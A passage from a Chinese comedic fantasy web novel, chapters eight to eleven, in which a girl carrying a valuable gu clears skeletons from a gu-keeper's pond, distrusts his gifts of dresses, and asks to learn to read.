饲蛊人被她气笑了,跟他装傻是吧。
他抬起下颌点了点池子,皮笑肉不笑道:“这池子今天要是捞不干净,晚饭你就别吃了。”
秋满一瞬间站直身体,命可以不要,但饭不能不吃,试图和他讲道理:“里面那么多骨头,一天根本捞不完。”
他杀了多少人,扔了多少尸,自己心里没有数吗?
饲蛊人不为所动:“瞧你方才玩得多开心,效率如此之高,想必晚饭之前定能捞完。”
“……”
秋满敢怒不敢言,干巴巴地瞪着他,最终在他阴森的目光下默默挪开眼,败下阵来。
“好吧,我承认刚才是故意的。”她试图为自己争取免罚的机会,“但你明知道我今天就要死了,还让我来捞池子,池子里全是不知道泡了多久的尸体,正常人看一眼就要吓晕了,我还能清醒地蹲在这里继续捞。可你却想克扣我的饭,这很可能是我人生中的最后一顿饭,你不觉得自己也很过分吗?”
“不觉得。”
饲蛊人掀眸,瞥向她高高举起的竹竿网兜,淡声道:“你若敢把网兜扣下来,未来三天都别想吃饭。”
秋满犹豫:“我不是只能活到今天?”
饲蛊人冷笑:“你可以试试。”
秋满仔细观察着他的脸色,看起来很像是那么一回事。
原来今天不是她的死期。
早说嘛,现在尴尬了不是,以为自己快死了,难得放肆大胆一次,结果现在搬起石头砸自己的脚。
“……这池子里的脏东西可真多,我再捞会儿。”
秋满假装忘记刚才发生的事,攥着竹竿网兜悄悄往右挪半步,眼角余光瞥见饲蛊人冷脸走进亭子,双手抱臂倚坐在美人靠上,就这么堂而皇之地监督她干活。
他没事干了吗?
前几天最喜欢待在屋子里,喊他也装听不见,现在坐在那里一动不动当雕像。
秋满把池子当饲蛊人的头,愤愤一网兜下去,捞了两块头骨,如此辛辛苦苦干一天,也只捞了半池子,地上的尸骨却多得能堆成小山。
秋满越捞越沉默,她很难想象这池子里究竟藏了多少人的尸骨,不会都是来偷扶尸蛊然后被饲蛊人反杀的吧?
这扶尸蛊究竟有什么用,能引得那么多人前赴后继地来抢东西。
她一边捞池子,一边胡思乱想。
好似是猜到她心中所想,很快饲蛊人冷淡的嗓音便从亭子那边飘过来,她想装作听不见都不行。
“这池子里一共三十九具尸骨。”
难怪捞这么久都没捞完,烦死了。
“他们皆是为了一样东西而来,便是你体内那只扶尸蛊。”
所以说这扶尸蛊究竟有什么用,她身上藏着这么个东西是不是很危险。
如果很危险的话,他能不能早点拿回去?
秋满充满希冀地望向他。
但他没有告诉她扶尸蛊究竟是什么东西,有什么用,或者何时取蛊,而是斤斤计较地开始和她翻旧账。
“外面那些人为了得到一只扶尸蛊,愿意出价万金,十万金,甚至百万金。”
秋满捞池子的手一抖,倒吸口气。
什么玩意?!
百万金?
竟然有人愿意用百万金买一只扶尸蛊?!
秋满瞳孔地震,若是外面的人知道他们想要的扶尸蛊就在她体内,那不得把她生吞活剥了?!
她的震惊与后怕袒露无遗,饲蛊人倚靠着亭子里的栏杆,将她面上的神色变化尽数收入眼底,轻轻歪了下头,长发从肩侧滑落,耳廓上的那只宝石红蝴蝶耳饰愈发显眼。
“如今价值百万金的扶尸蛊在你体内,只要你不愿意,除了我,谁也无法从你身上取走扶尸蛊。”
“你却只用二两银子便将自己卖了。”
“秋满,你亏不亏。”
秋满:“……”
那,她当时确实不知道扶尸蛊这么值钱。
再说了,这扶尸蛊本来就不是她的,她选择物归原主也不行?
算下来,她可能还倒赚二两。
“后悔了?”他问。
秋满想了想,面色古怪地点头:“有点。”
饲蛊人耐人寻味地笑了声,又问:“
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若是再给你一次机会,你打算如何。”
秋满痛苦地闭上眼睛:“我会在乱葬岗找个坑把自己埋深点,绝不让你的扶尸蛊有机会找到我。”
她现在总算明白过来,为什么柳大叔会提醒她不要让别人发现她和饲蛊人住在一起。
因为外面不怀好意的人太多了,一旦她和饲蛊人扯上关系,那些人无法从他身上下手,便会退而求其次对她下手。
难怪饲蛊人说早饭有毒。
感情她这几天肚子疼都是因为饭里被人下了毒,她还单纯地以为是体内积累的毒不定时发作。
外面那些人确实不知道扶尸蛊在她体内,可他们知道她与饲蛊人住一起啊,给她下毒便能试探出饲蛊人的态度。
若她死了,说明她对饲蛊人没什么用,若她活着,虽不能说明他对她有特殊之情,至少也代表目前的她对饲蛊人有用,所以他不会让她轻易被毒死。
只要她有用,那饲蛊人的宅子便不再是铁板一块,总有缝可钻,有谋可图。
可下毒的人万万没想到,她体质特殊,全身上下都是毒,毒药这种东西顶多只是会让她肚子疼一宿而已,怎么可能真的毒死她?
于是那些人便误会了她与饲蛊人之间的关系,而饲蛊人昨天下午又为什么会一反常态地出门,独留她一人在宅子里?
因为他故意为之。
他定然料到会有人趁他不在时闯入宅中寻找扶尸蛊,而她一人留在宅子里,不管她是在蛊屋睡觉,还是在后院晒太阳,在闯入者看来,她就是那个说不定能够打开蛊屋拿到扶尸蛊的特殊之人。
退一万步来说,就算她不是,他们也只是来证实一趟,不会有任何损失。
可昨天那两人根本没想到,偏偏扶尸蛊就在她体内,她能够轻而易举地打开蛊屋的门,以为利用她就能进入蛊屋找到扶尸蛊,最后反而葬送了自己的小命。
她就说呢,昨天晕倒之前听见饲蛊人说什么给她钱袋让她出去花钱玩儿,她偏不听……原来他是这个意思。
他给了她远离危险的机会,是她自己拒绝了,这能怪他冷漠无情吗?
当然怪他啊!
他要是直接跟她说有危险,她肯定麻溜地拿钱跑路。
他偏不说,还让她亲眼看见蝴蝶吃人的画面,今天又把他的藏尸地暴露给她……
这是要逼她和他上一条贼船啊。
秋满面如菜色,小腿蹲的发麻,她索性撩起衣摆原地坐下,冷静片刻后缓缓扭过脸,隔着重重暮色望向亭子里的男人。
“你的扶尸蛊究竟有什么用,那么多人对它趋之若鹜?”
她是真的很难理解,这些人为什么宁愿丢了性命也非要得到它。
饲蛊人倚着圆滚滚的亭柱,语气很是懒散。
“扶尸蛊价值百万金,人为财死,鸟为食亡,这有什么不能理解的。”
“外面那么多人总是盯着你,你为何不干脆以百万金卖了它呢?”
“我不缺那点钱。”
秋满:“……”
那、点、钱。
在他看来,百万金只是“那点钱”?
她开始后悔当初只问他借二两银子了。
8. 第八章
秋满度过了漫长且疲惫的一天,幸好饲蛊人没有真的克扣她的晚饭,不然她绝对要把今天捞出来的尸骨堆在他房门口以示抗议。
运气真好,叫他躲过一劫。
秋满躺在被子上,哼哼着翻了个身,直到失去意识的前一刻,她才后知后觉想起来一件事。
他明明说过,她的早饭被人下了断肠草之毒,可为什么她干了一天活,肚子却一点也不疼?
没等她想太多,扶尸蛊准时发作,意识昏昏沉沉,身体也变得异常沉重,很快整个人便陷入漫无边际的黑暗中。
隔天一早,秋满再醒来时,总觉得自己昨天似乎忘了什么事。
她今天醒得比往常早些,外面天色尚暗,天空飘着细如牛毛的雨丝,空气中弥漫着青草与泥土混杂的味道。
秋满非常讨厌下雨天。
以前每次下雨,药庄的那几间屋子就会漏水,她们五六个女孩挤一间屋子,人挨人,人挨墙。
一旦雨下大了,水便会慢慢渗入墙壁和窗缝,弄湿她们的被子和床,夏天还好,将就一下勉强还能睡,冬天却异常难熬,她亲眼见过同屋的女孩前一晚还挨在一起讨论明天会不会有热汤喝,第二天早上便冻僵在床上。
她们安静地躺在她身边,冰冷红肿的手指藏在被子里,僵硬地弯曲着,紧紧抓住御寒的湿被角,蜷缩的身体永远定格在那一刻。
无声的寒意穿过浓密的细雨丝缓缓落在她身上。
秋满身体颤了颤,下意识摸向身下的被子,触手干燥温暖,散发着淡淡的胰子香味,是她每次沐浴后躺在上面翻滚时染出来的味道。
药庄里的被子永远夹带着潮湿的霉味,不管晒多久,那股能溺死人的气味总是如鬼魂般死死粘在被子上,至死也无法摆脱。
秋满靠着墙,透过对面半开的窗子向外看,不受控制地发了会儿呆,过了很久才慢慢起身出门,取下一直挂在走廊尽头墙上的翠竹色油纸伞,拎起竹竿网兜回到后院,继续蹲在岸边捞池子,任由飘进伞下的细雨丝打湿她的裙角和长发。
今日有雨,不适合院中用餐,来送饭的柳闲便悄悄将食盒放在主厅的桌上,见屋内的两人皆无动静,他以为他们还在睡,没有打扰,很快离去。
屋中。
饲蛊人倚在窗边,黝深目光穿过半开的小窗,悄然落在池边埋头干活的少女身上。
她只有两套衣裳,昨日穿的墨绿色裙子,干活时弄脏了,今日便换了另一身绀青色长裙,颜色偏暗,都不太适合她。
她可能也不太会梳头发,长发只用一根略显陈旧的鹅黄色发带简单束起,原本还有些枯燥的发尾被雨丝打湿,显出几分乖巧柔顺。
侧脸看起来气色不错,比前几日刚来时瘦骨嶙峋的蔫吧模样好太多,这几天的饭没白吃。
昨天她还蹲在岸边边捞池子边小声骂他,以为他听不见,翻来覆去地骂他又丑又老,冷血黑心肠。
真会睁眼说瞎话,胡说八道。
今天倒是老老实实勤勤恳恳,既没骂他,也没偷懒,也不知道受了什么刺激,大清早就开始冒雨干活。
人在专心做事时很难意识到时间的流逝,不知不觉间,秋满身后堆起一坨白骨,她终于感觉饿了,拍拍裙角站起身,拎着竹竿网兜准备回前院吃饭。
一转身,无意中扫到一扇半开的窗,正撞上饲蛊人看过来的目光。
细雨飘飘,两人隔着窗无言对视片刻,后者神色淡淡,手一伸,关上了窗。
秋满:“?”
他可真闲,大清早都不忘监督她干活。
……
这场雨一下就是一天,到了下午,毛毛细雨变成淅淅沥沥的小雨,秋满半边身子被淋湿,便早早回屋褪衣擦发。
两套衣裳都洗了晾在走廊下,秋满便披着毯子坐在门前的走廊下看雨,无所事事地发呆。
滴滴答答,滴滴答答。
看着看着,她突然想起宋真以前和她说起的一句诗,“天街小雨润如酥”,后半句她想不起来了。
秋满没读过书。
宋真和她不一样,宋真被拐子卖进药庄前是念过书的,她常说,当今陛下是一名女子,在位多年,如今男女皆可入学读书,宋真就曾在学堂念过两年书。
算算年纪,宋真是六岁入学读的书,秋满被卖进药庄时也是六岁,正是应该上学堂读书的好年纪。
如果没被卖进药庄,如果娘亲没去世……
这世上的事没有如果。
想到宋真,也不知道她现在怎么样了。
秋满无可奈何地叹了口气,她曾想过拜托饲蛊人帮忙找到药庄救出宋真,但她也知道药庄有多危险,更别说药庄上面还有更厉害的人兜着,得罪了药庄就等于得罪一大片勋贵。
饲蛊人再厉害也只是孤身一人,他确实能在这宅子里用蝴蝶轻描淡写地杀人,可一旦出了这宅子,或许他也只是个比普通人稍微厉害些的普通人。
谁会愿意冒着得罪众多勋贵的危险,而去帮一个无权无势还没钱的陌生人?
秋满自我反思,反正她不会。
雨渐渐小了,等到柳闲来送饭时,这场雨几乎已经停歇,他一路过来甚至没撑伞。
“柳大叔!”
秋满高兴地喊了声,披着毯子迎上前去,就见柳闲后面还跟着一个人。
秋满愣了下:“娄掌柜?”
娄掌柜鬓边依旧簪着朵娇艳欲滴的牡丹花,眼妆沾了些许湿润,手中捧着个精致漂亮的小布包,见到秋满,面上笑意更浓。
“秋满姑娘不欢迎我来?”娄掌柜笑眯眯地开玩笑。
“没有没有,就是没想到娄掌柜今天会和柳大叔一起来。”秋满立即否认。
她一直以为饲蛊人性格孤僻,除了柳大叔之外,没人爱来找他玩,乍然见到娄掌柜过来,确实有些诧异。
这是娄掌柜第一次进入饲蛊人的宅子,和她想象中的阴森脏乱不同,这院子看起来居然出乎意料的精致漂亮,花草树木应有尽有,走廊里还挂着几幅雅致的山水画。
娄掌柜随意扫了眼,美目微睁,那几幅画若是真迹,一幅可就能买下这整套宅子了。
很快她又冷静下来,哪有人会舍得把那么贵的画随便挂在走廊里?这风吹日晒的,多糟蹋名家真迹。
多半是赝品。
柳闲进屋后便放下食盒,转身看向秋满,满脸洋溢着开心:“小满姑娘,娄掌柜今日特地给你带了新衣裳,你快去试试看合不合身,不合身的话正好可以让娄掌柜带回去改改。”
“新衣裳?”秋满疑惑看向娄掌柜。
娄掌柜将手里的小布包铺在厅中的桌上,里面放了两套新裙子,一套鹅黄色,一套藕粉色,薄纱素衣,款式看起来很简单,但衣上藏着浅浅的蝴蝶暗纹。<
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p>绣兰阁出品,定然不会是便宜货。
柳闲解释道:“我中午来送饭时,恩人让我得空去绣兰阁找娄掌柜订两件适合你的新裙子,正好你上次不是去过绣兰阁吗?娄掌柜就让人按原先的尺寸给你做了两套新的,你看看合不合身。”
居然是饲蛊人让人给她做的裙子。
秋满第一时间不是欣喜,而是狐疑。
不是她不懂感恩,实在是饲蛊人这几日的所作所为,让她无法再轻易相信他会无缘无故送她好处。
刚开始借她钱,但没告诉她扶尸蛊的价格,最后她花了二两把自己未来的尸体卖给了他,后面他还骗她说她只能活三天,饭里有毒也不告诉她。
上次又送她钱袋子让她出去花钱,她没听,结果下午就被人抓了。
扶尸蛊那么贵重的东西放她身上,他一点也不担心,他是想拿她当诱饵把暗中的人都引出来,好一网打尽吧。
这次莫名其妙送她新裙子,怕不是又想打她什么主意。
前两次可以说是她笨,主动钻进他设下的套,这次她绝不会再随随便便重蹈覆辙。
因此,她只是接下这两套裙子,并没有回去试穿,等柳闲和娄掌柜离开后,她才捧着裙子去敲饲蛊人的房门。
“在不在?为什么突然让娄掌柜给我做裙子?”
没人回。
“你是不是又想坑我?”
还是没人回。
“你想让我做什么直说,别搞这些,我心里怪不踏实的。”
第三句了,一般来说这个时候屋子里多少会有点反应。
秋满侧耳倾听,里面安静得像死了人。
怎么回事?他不在?
“你找我?”
身后传来熟悉的嗓音,秋满立刻站直身体,转过身。
饲蛊人今天依旧一身黑红相间的长衣,慢吞吞从后院走回来,眉眼和发间略有湿意,应该在后院待了有一段时间。
“你去后院做什么?”秋满不解。
“看看你活干得怎么样。”他语气随意地答。
秋满:“……”
她决定忽略他那句话,捧起裙子,仿佛已经决定接受某种残酷的现实,面色麻木道:“你直说吧,这次突然让人送我裙子,又想让我做什么?”
隔着一段不长不短的走廊,饲蛊人眸光略深,无声瞧着她,似是在说:你怎么变聪明了。
秋满气愤,她能不变聪明吗,吃一堑长一智,她都吃三次了。
果不其然,饲蛊人开口了。
“后院的池子应该捞得差不多了。”
秋满警惕:“虽然还没完全捞干净,但养几条鱼应该没问题。”
“那捞上来的尸骨你打算如何处理?”饲蛊人循循问。
秋满满脸都是“这不应该问你自己吗你让我捞的尸骨你自己没想好怎么处理吗”。
饲蛊人不说话。
她也不说话。
两人就这么相对无言地看着对方,最后饲蛊人似是先无奈妥协。
“那就在后面随便挖个坑埋了。”
秋满:“……”
什么叫随便挖个坑埋了?
说清楚,挖坑的是谁,埋尸的又是谁!
饲蛊人理所当然地看着她。
秋满:“……”
她就知道天底下没有白吃的午餐,更没有白送的裙子!!
9. 第九章
鉴于饲蛊人过往那些不太令人信任的言行举止,秋满思量许久,最终还是严词拒绝了这两条新裙子。
拒绝可能只是失去两条裙子,可若是接受了,她便要扛着锄头去后院挖坑埋尸骨。
三十九具尸骨,哪怕只埋一半,她一天也埋不完。
对于她的拒绝,饲蛊人似乎并不意外,只是淡淡“哦”了声,便悠闲地躺在走廊的藤椅上。
“知道了,裙子留下,你可以走了。”
他这么好说话,反倒让秋满觉得反常。
她决定接下来几天除了吃饭、沐浴和如厕,其余时间坚决不出门,就躺屋里硬睡,她不信这样还能被他坑到。
如此信心满满地睡了整夜,翌日一早,秋满身心疲惫地醒来,浑身酸痛,宛若被人当成黄牛拉去田里犁了一天地,两条胳膊累得几乎抬不起来,缓了好久才勉强扶着墙站起身,腰更是酸得差点直不起来。
秋满下意识摸了摸疯狂鼓动的胸口,莫名有种熟悉的、即将发现被人坑了的微妙惊悚感。
她闭上眼深深吸了口气,面色沉重地推开窗,果不其然,堆在河岸边的尸骨少了近乎一半,而梅树林附近明显多了几处被人挖掘过的痕迹。
秋满低头看看自己红彤彤的手心,目光缓缓偏移,定格在旁边一双沾着些许青草与泥土的登云履上。
秋满:“……”
她就知道,不管怎么选都会被坑!
秋满赤脚冲出房门,本想大力拍打饲蛊人的房门以示不满,想起他用蝴蝶杀人时神色自若的模样,及时收了力。
她清了清嗓子,尽量客观地同他讲道理。
“昨晚你是不是让扶尸蛊控制我去挖坑埋尸了?”
“扶尸蛊这般大材小用是不是不大合适??”
“对了,你打算什么时候取蛊?”
“你不是说它价值百万金,怎么舍得让它一直留在我这里?”
超过三句话了,里面却毫无动静,秋满克制了一会儿,仍是忍不住小发雷霆道:“还有,你得把昨天的裙子还我!”
事已至此,她不能白挖一夜的坑埋一夜骨,新裙子该要还是得要。
房里自始至终无人应答。
秋满渐渐冷静下来,试着推了推门,出乎意料,门竟然稍一用力就推开了。
诶?
透过这道细细的门缝,她瞧见屋内的部分摆设,极其显眼的是门对面立着一排书柜,上面全是书和檀木盒子。
秋满犹豫了一下,默默伸手把门合上了。
之前听药庄里的人说起过,外面那些养蛊的人多多少少都会养些蜘蛛、蜈蚣、蛇这类危险的小毒物,她住的蛊屋里全是蝴蝶,那他的屋子里会不会养了别的什么东西?
想到这,秋满不禁后背发毛,连忙远离这屋子,从走廊下来时注意到院中的早饭食盒下压着一张字条,她拿起看了眼。
“……”
一个字不认识。
秋满再次意识到人活着还是得有文化,哪怕无法如状元那般学富五车,至少也得识字认字写字。
不然就会变成现在这样,干巴巴地站在院子里和一张纸条你瞪我我瞪你。
虽然她不知道纸条上写的什么,但饲蛊人似乎又出门了,也就是说,这宅子今日只有她一人。
上次她一个人待在这里,被两个趁机闯入的壮汉抓住,甚至差点被抹了脖子。
为了避免这次再发生类似的事,秋满在“待在蝴蝶屋”和“出门找柳大叔帮忙认字条”之间徘徊片刻,最终选择留下。
一上午很快过去,饲蛊人一直没回来,倒是绣兰阁的娄掌柜亲自过来一趟,带了套冰川蓝的长裙,盯着秋满换上才满意离去。
下午,娄掌柜再次送货上门,这次送的不是裙子,而是配套的小衣、棉袜、靴履、发簪和发带。
秋满看着琳琅满目的半桌子,艰难出声:“……娄掌柜,这些不会也是饲蛊人让送的吧?”
这么多东西,他是打算下次给她挖多大的坑?
娄掌柜拿起一根蝴蝶簪,边替她挽发边笑眯眯道:“他一个男人哪能想得这么细致?他只让我隔段时日便送套新裙子过来,我中午回去才想起来,你一个年轻小姑娘总用一根旧发带束发算怎么回事?他之前在我们那存了不少钱,我就自己做主替你买了些簪子和发带。”
她手巧,很快便替秋满挽了个简单的发型,簪上的蝴蝶隐约藏入她发中,双翅欲飞,灵动得很。
“饲蛊人今日不在家呀?”娄掌柜随口一问。
“他可能有事出去了。”
说到这,秋满将饲蛊人留下的纸条拿出来给她看:“对了娄掌柜,我不认字,你能不能帮我看看他纸条上写的什么?”
娄掌柜愣了下:“你不认字?”
当今陛下即位已有二十五年,女子入学堂早已是寻常,即便是稍显贫苦的几个村子,也有专门教人识字的秀才。
秋满不认字,要么她家中父母太过苛待她,要么从小被关起来,没有识字的机会。
不管哪种,都说明她吃了太多的苦。
难怪上次见她那般瘦骨嶙峋,手腕细的半只手都能圈起来,这几日许是吃得好,脸上、手上都长了些肉。
饲蛊人还真是在金屋养娇。
秋满没有细说,只巴巴地将纸条伸给她看。
娄掌柜意味深长地看了她两眼,这才接过纸条,念道:“昨夜甚是努力,今日再接再厉……”
昨夜?什么努力??努力什么???
没注意到娄掌柜的神色变化,秋满第一时间听懂饲蛊人的言外之意,小怒道:“他今晚还想故技重施?做梦!”
娄掌柜:“!”
不是,你们俩都到这个程度了吗?
秋满这浑身上下看着也没几两肉的模样,饲蛊人怎么忍心下手?!
秋满却没在意她的震惊,眼睛盯着纸条,不好意思地催促道:“娄掌柜,我看着上面不止十二个字,后面还说了些什么?”
娄掌柜看完,语气飘忽地总结道:“他说他去买鱼,让你今日没事莫出门。”
说完,她自己又补充了一句:“他可能是想买几条鱼给你补补身体,你确实该多多休息。”
秋满:“啊?”
他有那么好心?他去买鱼不是为了养在后院池子里吗?
让她多休息的意思难道不是让她白天多攒攒精神,晚上好继续干活吗?
秋满觉得娄掌柜似乎误会了什么,但她说不上来,只能任由她盈盈握住自己的手,语重心长地嘱咐。
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“小满啊,姐姐叫你小满你不介意吧?你年纪还小,身体也没养好,听姐姐的,千万不能任人乱来。”
秋满:“……嗯。”
她也不想乱来,实在是扶尸蛊无法控制哇。
娄掌柜又语意不明地叮嘱她几句,秋满茫然但听话地点头说“哦哦好的好的”,最后送娄掌柜出了门,她自己则拿着这张纸条站在走廊下翻来覆去地看,满脸疑惑。
这纸条上写的是娄掌柜说的那个意思吗?
桃花巷外。
娄掌柜心情复杂地往回走,同时在心里盘算过几日再来时要带些什么礼物,刚走到巷子口便被三个陌生男人迎面拦住去路。
“娄掌柜,我家大人有情。”
娄掌柜脚步微顿:“你们家大人是谁?”
来人道:“商州知州,陆允陆知州。”
-
饲蛊人回来时秋满正在院中吃晚饭,听见动静便立马起身看向门外。
“你终于回来了,我等你一天了!”
饲蛊人闻言动作一顿,随意瞥她一眼。
暮色浅浅,她终于没再穿暗色的衣裳,换了身冰川蓝的长裙,长发半挽,脑后露出小半截蝴蝶簪,或许是刚吃完饭,面色瞧着有几分红润,眼睛亮闪闪地望着他。
“我有件事想找你帮忙,你现在有空不?”少女语调略微上扬,藏着一丝说不清的紧张。
平时总是一副“算了反正我马上就要死了”的无所谓模样,这会儿倒是精神十足。
莫非是昨晚挖坑把脑子给挖好了?
饲蛊人不动声色地端详了她片刻,拎着手中的木桶和鱼竿往后院走:“什么事,你先说说看。”
“哦,我是想……”秋满注意到他手中鱼竿,话音一转道,“你今天去钓鱼了呀?”
饲蛊人没说话,幽幽地看着她。
秋满弯腰瞅了眼他手中的木桶:“一天就钓到两条鱼吗?”
饲蛊人:“……”
秋满注意到他的脸色,默了一下,立马改口道:“我的意思是你肯定钓了不止两条鱼,只是留下两条,其他的都放生了,对吧?”
饲蛊人不言,一味地盯着她看。
秋满:“……”
她决定忽略这个微妙的话题,殷勤地迎上去想替他拎桶,被他冷淡地避开,她也不在意,小尾巴似的黏着他一路往后院走。
“你上午给我留的纸条我看到了。”她从怀里取出那张贴身放的纸条,两手展开朝他眼前晃,诚实道,“但是我不识字,看不懂你写的什么。”
见她竟然随意地将纸条放进衣裳里,饲蛊人先是眉心轻皱,稍稍偏了下目光,而后才意识到她刚才说了些什么,脚步顿住:“你不识字?”
她不识字这件事有那么奇怪吗?
秋满:“你从乱葬岗捡的我,应该能猜到我之前过得可能,嗯……不是很好?”
“不过这不重要,我就是想问问你,我大概还能活多久?”
秋满低头看着手中的这张纸条,哪怕她不识字,也能看得出来纸上的两行字很好看,从早上看到这张纸条的那一刻起,她心中就莫名生出了一丝浅浅的、隐秘的渴望。
“若是这次我能活得久一些,你可不可以教我读书认字?”她问。
10. 第十章
秋满并非大字不识一个,药庄里的人每年都会买入一些不同年龄的孩子,有男有女,有大有小。
年纪大些的大多念过书,极偶尔时会教一些没念过书的孩子认字,但年纪越大的孩子需要试的药也越多,死得便越快。
更多的人觉得反正大家很快就会死,没必要学那些没用的东西,知道的更多反而更痛苦。
秋满在药庄里活的最久,认识药庄里每一个孩子的名字,没事可做时也会拿着棍子在地上写几个字,可惜这种还算轻松的时间太少,也来不及认识更多的字。
偏偏饲蛊人那张纸条上的字就恰好卡在她的学习盲区。
可他的字太好看,好看到秋满都有点想试着活下去了,或许有一天她也能写出那样好看的字,至少要把自己的名字写得好看些,她还没用过笔墨纸砚,很想试试在纸上写字是什么感觉。
她的眼神太过热烈,让饲蛊人想起他曾养过的一盆蝴蝶兰。
过季前将死的最后一朵花,夜里淋了一场雨,第二天竟在原先的位置重新长出一颗生命力旺盛的花苞。
虽然没多久还是因为过季而凋谢,但那一瞬间迸发的蓬勃生命力却足以让他记到现在。
秋满不知道他在想什么,还在努力推销自己:“我下午已经把剩下的尸骨埋了大半,最后那些可以明天继续埋,你要是愿意教我读书认字,以后再想让我做什么,就不需要再假装给我什么好处了呀。”
饲蛊人拎着木桶走到池子边,岸边堆积的尸骨确实少了大半,他侧头看向秋满:“我什么时候假装给你好处?”
哪次不是真给?
秋满立马改口:“是的是的,您善良宽容,给我吃给我住,送完银子又送裙子,是我以小人之心度君子之腹。”
他吝啬地“嗯”了声,表示对她最后那句话的认可。
秋满:“……那你愿不愿意教我?”
他没立刻回答,将桶里的两条鲤鱼倒进池子里,鱼尾巴轻轻一晃,两条影子便游入假山后藏了起来。
秋满一边可怜这两条余生只能喝这池子人骨水的鲤鱼,一边可怜自己,人活在世总是有太多身不由己,比如她刚才就很不由己地说出那番昧着良心的话。
饲蛊人将目光从池子里收回,轻飘飘地落在秋满清瘦的脸上,意兴阑珊地反问。
“我看起来像是那种,能耐心坐下来教一个大字不识几个的文盲读书写字的好老师?”
秋满:“……”
不愿意就不愿意,人身攻击干什么,显着你了。
但他确实不像是有耐心教人读书的好人,更像是会把人弄死一了百了的歹毒夫子。
简称毒夫。
“但你若实在想学,也不是没有别的办法。”饲蛊人又说,“这世上识字的人只多不少。”
秋满将“毒夫”二字咽了下去:“你的意思是让我去外面请别人来教我?”
他不置可否。
秋满明白,这就是默认了,她没有去想他这次怎么这么好说话,完全被喜悦冲昏了头脑,早将别的抛之脑后,兴冲冲地去做准备。
她住的蛊屋外人不能进,前院倒是还有间书房,他应该不怎么用,书房里很空,桌椅书柜都落了一层灰。
秋满以最快的速度吃完晚饭,之后便开始打扫书房,太过亢奋,没注意到外面天色很快暗了下来。
往常这个时间她早该被扶尸蛊控制着回房间睡觉,这会儿却精神奕奕,没有半点被控制的迹象。
不过也没坚持太久,只比之前稍迟小半个时辰,她便失去意识,老老实实回到蛊屋睡觉。
饲蛊人看了眼天色,有些奇怪。
隔天一早,秋满兴致勃勃地和饲蛊人再次确认:“你同意我去外面请位老师回来教我读书写字的吧?”
饲蛊人眼都没抬:“随你。”
秋满:“你上次给的钱袋还在我这,请老师的费用就从这里出了?”
“嗯。”
“男女老幼都可以?”
“嗯。”
三个问题了。
见他今日如此有耐心,堪称有问必答,秋满决定稍稍得寸进尺一下:“现在外面那么多双眼睛盯着,我一个人出门很不安全,你愿意和我一起去吗?”
饲蛊人掀眸。
“……哈哈,我开个玩笑。”秋满面不改色道,“我已经托柳大叔帮忙了。”
柳大叔确实也愿意帮忙,就是当时的脸色有点奇怪,欲言又止的模样,最后没好意思拒绝,只说尽量试试。
这一找就找了三天,第四天,仍旧无人愿意上门教书。
这天清晨,秋满百无聊赖地拎着一包果脯干蹲在池边,边吃果脯便看饲蛊人往池子里撒鱼食,两条鲤鱼蔫巴巴地摇晃着尾巴,看起来胃口不太好,都瘦了。
秋满嚼嚼果脯干:“你养这两条鲤鱼,是打算留着喂大了吃还是纯观赏啊?”
饲蛊人稀奇地瞧她:“你想吃?”
秋满:“?”
我先问的呢。
饲蛊人啧声:“看不出来你这么不挑食,喝过尸骨水的鱼你也想吃。”
秋满:“……”
所以说是我先问的你!
秋满愤愤,这毒夫又给她倒打一耙。
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“你的老师还没着落?”饲蛊人喂鱼喂得无聊,决定对身旁这个可怜的姑娘施予一点点肤浅的关怀。
说到这个秋满就无奈:“柳大叔说他找了好几个,原本都答应了,一听是你这儿就全改了口,加钱也不愿意来。”
他是什么洪水猛兽吗?在外面口碑居然那么差?
上次买被子时她就隐约察觉到了,这次找教书老师的事更是让她进一步了解他在外面那些人心目中的形象。
一个搞蛊的,养毒物,神神秘秘不爱出门,除了负责送饭的柳闲,其他进过他宅子的人要么半死,要么全死,再不然就是莫名其妙地失踪,尸骨无存,偏偏官府的人也不管,任由他在这扎根壮大。
秋满只觉得他们的消息太过闭塞,毕竟现在除了柳闲,她和娄掌柜都能活着从这宅子走出去。
不过实话实说,这人确实嘴巴坏,脾气怪,没朋友,杀人不眨眼……
秋满心虚地移了下视线。
饲蛊人早猜到会有如此结果,瞧着她这几日从兴奋渐渐变回最初的消极无趣,漫不经心开口道:“你若……”
“小满姑娘!小满姑娘我找到人了!”前院忽地传来柳闲的大喊。
于是饲蛊人就瞧见她暗淡的眼神骤然明亮,顺手将果脯袋子往袖子里一揣,提起藕粉色裙摆,下一瞬便如蝴蝶般轻盈飞奔向前院。
“柳大叔,我在呢我在呢!”
饲蛊人看着她的裙摆消失在门边,低眉扫了眼水里那两条无精打采的鲤鱼,沉吟片刻,将剩下的半包鱼食全洒进水里,慢悠悠抬步走向前院。
柳闲找的那人是个二十来岁的年轻男人,姓卫名晏。
卫晏上月去京城参加春闱,因为水土不服病了大半个月,最后考试发挥不佳致使落第,原想留在京城继续备考,奈何家中太穷,实在支撑不起读书的费用,便在朋友的推荐下来了离京城不算很远的临安,想找找有没有赚钱的生计。
柳闲没敢擅自将人带来,只是将此人的基本情况说了一遍,秋满觉得挺好的,询问似的看向后来的饲蛊人,他脸上没什么表情。
柳闲有些惴惴,不确定他那是什么意思,就听秋满斩钉截铁道:”他同意了。”
柳闲:“?”
是、是吗?他都没说话啊。
秋满解释:“他不说话一般就是默认的意思,他要是真不想同意,通常这会儿就该出言嘲讽我了。”
饲蛊人看她一眼。
秋满:“看,他这就是有点不耐烦,不乐意听我说话的意思。”
柳闲:“……”
你还怪了解他的。
11. 第十一章
新夫子上门这天正好雨过天晴,艳阳高照。
秋满没上过学堂,不知道该如何对待未来的老师,便心怀忐忑地去咨询饲蛊人明日见到老师时该说些什么,做些什么,才能体现她对老师尊敬与重视。
饲蛊人躺在藤椅里,闭目懒散道:“睡到自然醒。”
秋满:“?”
这不太对吧。
饲蛊人:“最好等他上门喊你再起床。”
秋满:“……”
这绝对不对!
饲蛊人还在向她分享自己昔日的经验:“老师说话时你要牢牢盯住他的眼睛,让他觉得你发自内心地尊重他。”
秋满沉思,这句话说得好像有点道理:“还有吗?”
饲蛊人掀开一只眼睛,轻瞥她:“老师说的话并不全对,哪句话顺耳你听哪句。”
“那不顺耳的呢?”
“当耳旁风。”
秋满:“……”
对于他的经验分享,秋满决定只听一半,另一半得反着来。
于是第二天便早早等在门口,一边困得直打瞌睡,一边来回走动提提神,声音不大,但这附近实在安静,饲蛊人还是被她的脚步声吵醒了。
